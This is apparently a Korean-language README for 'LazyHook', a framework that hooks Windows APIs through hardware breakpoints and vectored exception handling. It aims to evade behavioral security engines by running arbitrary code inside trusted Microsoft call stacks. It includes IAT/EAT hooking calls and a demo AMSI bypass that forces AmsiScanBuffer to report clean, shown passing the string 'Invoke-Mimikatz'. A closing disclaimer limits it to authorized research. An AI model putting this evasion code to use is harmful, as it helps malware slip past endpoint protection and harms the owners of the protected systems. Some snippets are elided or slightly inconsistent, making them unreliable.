
신뢰할 수 있는 Microsoft 호출 스택 내에서 악성 코드를 실행하여 행동 분석을 회피하고, 패치 없는 후킹 라이브러리 IAT/EAT를 사용합니다.
LazyHook은 호스트 침입 방지 시스템(HIPS)을 우회하는 은밀한 API 후킹 프레임워크로, 호출 스택 스푸핑을 통해 동작합니다. CPU 수준의 하드웨어 중단점과 Vectored Exception Handling을 활용하여, 신뢰할 수 있는 Microsoft 서명 모듈에서 발생한 것처럼 임의 코드를 실행합니다. 이는 호출 스택 검사와 모듈 출처 확인에 의존하는 행동 분석 엔진을 완전히 속입니다.
신뢰할 수 있는 Microsoft 호출 스택 내에서 악성 코드를 실행하여 행동 분석을 회피하세요
하드웨어 중단점 + VEH를 사용하여 정당한 함수를 가로채고 모듈 출처를 스푸핑합니다.
호스트 침입 방지 시스템(HIPS) 및 행동 분석 엔진은 다음을 통해 애플리케이션을 모니터링합니다:
Kaspersky System Watcher, Windows Defender, Cylance, CrowdStrike와 같은 시스템은 모두 이러한 기술의 변형을 사용합니다.
Microsoft 서명 어셈블리(예: System.Windows.Forms.dll, user32.dll)의 함수를 가로채면 완전히 합법적으로 보이는 호출 스택 내에서 임의 로직을 실행할 수 있습니다.
참고: MsgBox를 후킹하고 바로 다음에 사용자 정의 코드를 호출하는 JmpHook도 가능합니다. LazyHook은 그렇게 하지 않습니다.
이것이 작동하는 이유:
보안 소프트웨어는 두 번째 시나리오를 보고 다음과 같이 생각합니다: "user32.dll의 MessageBoxA가 Windows API를 호출하고 있나? 정상적인 동작이군."
┌─────────────────────────────────────────────────────────┐
│ 1. 대상 함수 호출 │
│ ↓ │
│ 2. CPU 디버그 레지스터 트리거 (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP 발생 │
│ ↓ │
│ 4. VEH 핸들러가 예외 가로채기 │
│ ↓ │
│ 5. 실행이 후크 함수로 리디렉션 │
│ ↓ │
│ 6. CallOriginal()이 일시적으로 중단점 비활성화 │
│ ↓ │
│ 7. 원래 함수 실행 │
│ ↓ │
│ 8. 중단점 재활성화 │
└─────────────────────────────────────────────────────────┘
가져온 함수의 주소를 IAT에서 찾아 하드웨어 중단점을 설정함으로써 가로챕니다. 이는 프로세스 내 특정 가져오기를 후킹합니다.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
내보내기 테이블을 통해 DLL에서 내보낸 함수의 주소를 확인하여 전역적으로 후킹합니다. 이는 해당 내보내기에 대한 모든 호출에 영향을 미칩니다.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
포함된 데모는 세 가지 실용적인 시나리오를 보여줍니다:
MessageBoxA 호출을 가로채고 표시된 메시지를 수정하여 IAT 후킹을 보여줍니다:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
CreateFileA 호출을 기록하여 파일 작업을 모니터링하는 방법을 보여줍니다:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
모든 AMSI 검사가 깨끗한 결과를 반환하도록 강제하여 보안 소프트웨어 우회를 보여줍니다:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // 내용에 관계없이 깨끗하게 강제
return OrgResult;
}
데모는 "Invoke-Mimikatz"(알려진 악성 문자열)를 검사하여 AMSI 우회를 테스트하고 깨끗한 것으로 분류됨을 보여줍니다.
DR7 레이아웃 (간략):
- 비트 0,2,4,6: DR0-DR3 활성화 플래그 (로컬 활성화)
- 비트 16-31: 중단점 조건 (실행, 쓰기, IO, R/W)
프레임워크는 DR7을 다음과 같이 구성합니다:
VEH 핸들러:
EXCEPTION_SINGLE_STEP인지 확인EXCEPTION_CONTINUE_EXECUTION 반환template<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // 일시적으로 비활성화
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // 재활성화
return Result;
}
데모는 AmsiScanBuffer를 후킹하여 깨끗한 검사 결과를 강제하는 방법을 보여줍니다:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // 깨끗한 결과로 강제
return Result;
}
이는 중요한 API 호출을 가로채서 런타임에 보안 소프트웨어 동작을 수정할 수 있는 방법을 보여줍니다.
애플리케이션 동작을 수정하지 않고 파일 액세스를 기록하기 위해 CreateFileA를 후킹합니다:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
이 코드는 다음을 위한 고급 회피 기술을 시연합니다:
⚠️ 경고: 무단 사용으로 보안 제어를 우회하거나, 소프트웨어 동작을 수정하거나, 보호를 회피하는 경우 컴퓨터 사기 법률(CFAA, GDPR, 해당 법률)을 위반할 수 있습니다. 이 프레임워크는 교육 및 허가된 보안 연구 목적으로만 제공됩니다.
공격 기술을 이해하면 더 나은 방어를 구축할 수 있습니다.